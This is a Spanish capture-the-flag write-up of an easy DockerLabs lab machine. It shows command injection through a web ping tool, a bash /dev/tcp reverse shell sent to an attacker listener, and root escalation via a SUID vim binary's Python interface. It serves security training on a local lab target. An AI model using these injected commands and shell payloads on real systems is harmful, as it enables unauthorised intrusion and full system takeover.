PingCTF DockerLabs (Easy)
Instalación
Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip pingctf.zipNos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh pingctf.tarInfo:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarlaPor lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-29 03:12 EDT
Nmap scan report for packer.pw (172.17.0.2)
Host is up (0.000050s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Ping
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.61 secondsVeremos simplemente un puerto 80 en el que aloja una pagina web, si entramos dentro veremos una pagina en la que es una herramienta de ping dejandote realizar un ping hacia una IP o dominio ya estaremos viendo cosas interesantes, por lo que vamos a realizar un poco de fuzzing a ver que vemos.
Si probamos a concatenar comandos de esta forma:
127.0.0.1; lsInfo:
index.html
ping.phpEscalate user www-data
Vemos que funciona, por lo que vamos a probar a realizar una reverse shell de esta forma:
127.0.0.1; bash -c "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"Ahora si nos ponemos a la escucha antes de enviar el comando.
nc -lvnp <PORT>Cuando enviemos el comando, si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.177.129] from (UNKNOWN) [172.17.0.2] 60564
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@9c4611d5ea26:/var/www/html$ whoami
whoami
www-dataVeremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>Escalate Privileges
Si listamos los permisos SUID que tenemos en el sistema veremos lo siguiente:
find / -type f -perm -4000 -ls 2>/dev/nullInfo:
3699283 56 -rwsr-xr-x 1 root root 55680 Dec 5 2024 /usr/bin/su
3699075 72 -rwsr-xr-x 1 root root 72792 May 30 2024 /usr/bin/chfn
3699206 40 -rwsr-xr-x 1 root root 40664 May 30 2024 /usr/bin/newgrp
3699142 76 -rwsr-xr-x 1 root root 76248 May 30 2024 /usr/bin/gpasswd
3699217 64 -rwsr-xr-x 1 root root 64152 May 30 2024 /usr/bin/passwd
3699309 40 -rwsr-xr-x 1 root root 39296 Dec 5 2024 /usr/bin/umount
3699201 52 -rwsr-xr-x 1 root root 51584 Dec 5 2024 /usr/bin/mount
3699081 44 -rwsr-xr-x 1 root root 44760 May 30 2024 /usr/bin/chsh
3717295 4032 -rwsr-xr-x 1 root root 4126400 Apr 1 20:12 /usr/bin/vim.basicVemos la ultima linea bastante interesante:
3717295 4032 -rwsr-xr-x 1 root root 4126400 Apr 1 20:12 /usr/bin/vim.basicSabemos que en los sistema de Linux los puntos no establecen la extension en el sistema como en Windows por lo que eso funciona como Vim y tiene permisos SUID, pero en este caso da algunos errores los cuales dificultan el poder explotar algo.
Si probamos de esta forma:
/usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'Info:
.............................<RESTO_DE_CODIGO>.....................................
E79: Cannot expand wildcards
E79: Cannot expand wildcards
bash-5.2# whoami
rootVeremos que con esto seremos root, por lo que habremos terminado la maquina.
Last updated